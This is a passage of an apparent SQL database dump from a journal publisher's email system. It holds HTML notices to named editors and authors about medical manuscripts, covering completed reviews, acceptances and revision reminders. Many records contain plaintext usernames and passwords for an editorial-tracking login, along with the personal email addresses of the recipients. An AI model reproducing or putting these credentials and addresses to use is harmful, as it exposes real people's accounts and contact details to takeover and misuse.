/>\r\n            Article Title: <b>ANTIBIOTIC SUSCEPTIBILITY PROFILE OF AIRBORNE BACTERIA ISOLATED FROM SURGICAL AND LABOUR THEATRES OF FEDERAL TEACHING HOSPITAL, ABAKALIKI</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ikechukwu Moses</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Ahmed</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4467</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> s._attia<br />\r\n            <b>Password:</b> v9VxFZf7<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ahmed.s.attia@gmail.com',4467,'2020-07-03',248),(1566,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4467</b><br />\r\n            <br />\r\n            Article Title: <b>ANTIBIOTIC SUSCEPTIBILITY PROFILE OF AIRBORNE BACTERIA ISOLATED FROM SURGICAL AND LABOUR THEATRES OF FEDERAL TEACHING HOSPITAL, ABAKALIKI</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Moses</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ben_iyke70@yahoo.com',4467,'2020-07-03',248),(1576,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4820</b><br />\r\n            <br />\r\n            Article Title: <b>COMPARISON OF CLINICAL PRACTICE GUIDELINES FOR THE MANAGEMENT OF PREGNANT WOMEN WITH COVID-19 INFECTION: A REVIEW </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aisha Hameed</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Richard </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4820</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> m._fleming<br />\r\n            <b>Password:</b> F3hTrCHA<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','drrichardmfleming@gmail.com',4820,'2020-07-07',85),(1580,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4778</b><br />\r\n            <br />\r\n            Article Title: <b>EVALUATION OF INTER-RELATED BIOLOGICAL AND ENVIORONMENTAL RISK FACTORS OF ASTHMA (ONSET/ SEVERITY): USING STRUCTURAL EQUATION MODELING </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Akhtar</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-07</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','noreenali.stats@gmail.com',4778,'2020-07-07',48),(1585,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3974</b><br />\r\n            <br />\r\n            Article Title: <b>Normative Data of the Corpus Callosum Index and Discriminant Validity in Patients with Multiple Sclerosis</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Mar&iacute;a Yaiza P&eacute;rez-Mart&iacute;n</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3974</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3974,'2020-07-08',75),(1586,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3999</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical and Neurophysiological Pattern of Guillain-Barr&eacute; Syndrome in Hospitals Based Study in Dhaka, Bangladesh</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Firoz Ahmed Quraishi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3999</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3999,'2020-07-08',75),(1587,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4241</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF MYELOMALACIA AND POSTERIOR LONGITUDINAL LIGAMENT OSSIFICATION AS PROGNOSTIC FACTORS IN PATIENTS WITH SPONDYLOTIC CERVICAL MYELOPATHY SUBMITTED TO LAMINOPLASTY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Desir&eacute;e Elizabeth Pasqualetto Antikievicz</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4241</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4241,'2020-07-08',75),(1588,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4482</b><br />\r\n            <br />\r\n            Article Title: <b>A Prospective Study of Quality of Life in Patients Undergoing Microvascular Decompression for Hemifacial Spasm</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Aleksandra Safonova</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4482</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4482,'2020-07-08',75),(1589,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4665</b><br />\r\n            <br />\r\n            Article Title: <b>Non-epileptic paroxysmal states in epilepsY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Anna Voitiuk</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-4665</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',4665,'2020-07-08',75),(1590,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4720</b><br />\r\n            <br />\r\n            Article Title: <b>Covid-19: The hypothesis of cohabitation</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>F</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fzkamen@gmail.com',4720,'2020-07-08',48),(1591,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-20-4623</b><br />\r\n            <br />\r\n            Article Title: <b>PROPUESTA INTEGRAL PARA PREVENCI&Oacute;N Y CONTENCION DE LA PROPAGACION DEL SARS-CoV 2 &ldquo;Covid 19&rdquo;</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rojas Jaimes</b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>ipadm-20-4623</b> by <b>DATE_REVISION_DUE</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.archivosdemedicina.com/\">https://www.archivosdemedicina.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>jes&uacute;s</b><br />\r\n            Password : <b>pT2OUBlp</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','jesus.rojas.jaimes@gmail.com',4623,'2020-07-08',274),(1593,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3974</b><br />\r\n            <br />\r\n            Article Title: <b>Normative Data of the Corpus Callosum Index and Discriminant Validity in Patients with Multiple Sclerosis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>P&eacute;rez-Mart&iacute;n</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yaizaneuro@hotmail.com',3974,'2020-07-08',75),(1594,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3999</b><br />\r\n            <br />\r\n            Article Title: <b>Clinical and Neurophysiological Pattern of Guillain-Barr&eacute; Syndrome in Hospitals Based Study in Dhaka, Bangladesh</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Quraishi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-08</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','draminur@yahoo.com',3999,'2020-07-08',75),(1595,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphspr-20-4483</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF THE HEALTH FINANCING STRUCTURE OF BOTSWANA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Olusola Ogunseye</b><br />\r\n            <br />\r\n            Journal Title: <b>Health Systems and Policy Research</b><br />\r\n            <br />\r\n            Dear Dr. <b>Archana </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>iphspr-20-4483</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> sarkar<br />\r\n            <b>Password:</b> SeeRVPCK<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsprj.com/\">Health Systems and Policy Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','archana.sarkar5@gmail.com',4483,'2020-07-09',84),(1596,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4064</b><br />\r\n            <br />\r\n            Article Title: <b>DNA sequencing- an overview</b><br />\r\n            <br />\r\n            Corresponding Author: <b>syeda adeen</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>A. Ewy</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4064</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> gordon<br />\r\n            <b>Password:</b> 93KRboWl<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','GAEWY1933@gmail.com',4064,'2020-07-09',85),(1598,'<p>Ref.:  Ms. No. : <b>IPJUS-20-4138</b><br />\r\n<br />\r\nARTICLE TITLE: <b>A Very Rare Cause of Bowel Obstruction in Children: Colocolonic Intussusception</b><br />\r\n<br />\r\nJOURNAL: <b>Journal of Universal Surgery</b><br />\r\n<br />\r\nDear <b>Dr. Baykara</b>,<br />\r\n<br />\r\nThe revision of <b>IPJUS-20-4138</b> was expected by <strong>12-07-2020.</strong><br />\r\n<br />\r\nYou have been sent <b>two</b>&nbsp;reminder notices.  The last one was sent on <b>26-06-2020.</b><br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>aziz_serhat</b><br />\r\npassword: <b>4Dt2IKTR</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></p>',1,'Author Revision Subsequent Reminder','asbaykara@hotmail.com',4138,'2020-07-09',319),(1599,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-4251</b><br />\r\n            <br />\r\n            Article Title: <b>Face lifting by suspension sutures </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Universal Surgery</b><br />\r\n            <br />\r\n            Dear Dr. <b>ALkhawaldeh </b><br />\r\n            <br />\r\n            As iMedPub LTD is concerned about the timelines, we are expecting the revision of <b>IPJUS-20-4251</b> by <b>12-07-2020</b>.<br />\r\n            <br />\r\n            If you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <b><a href=\"https://www.jusurgery.com/\">https://www.jusurgery.com/</a></b> and submit the revision.<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Username : <b>shadi</b><br />\r\n            Password : <b>1BYEouFQ</b><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Manging Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Revision First Reminder','skhawaldah@hotmail.com',4251,'2020-07-09',319),(1602,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4467</b><br />\r\n            <br />\r\n            Article Title: <b>ANTIBIOTIC SUSCEPTIBILITY PROFILE OF AIRBORNE BACTERIA ISOLATED FROM SURGICAL AND LABOUR THEATRES OF FEDERAL TEACHING HOSPITAL, ABAKALIKI</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Moses</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-07-09</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ben_iyke70@yahoo.com',4467,'2020-07-09',248),(1603,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-4241</b><br />\r\n            <br />\r\n            Article Title: <b>ANALYSIS OF MYELOMALACIA 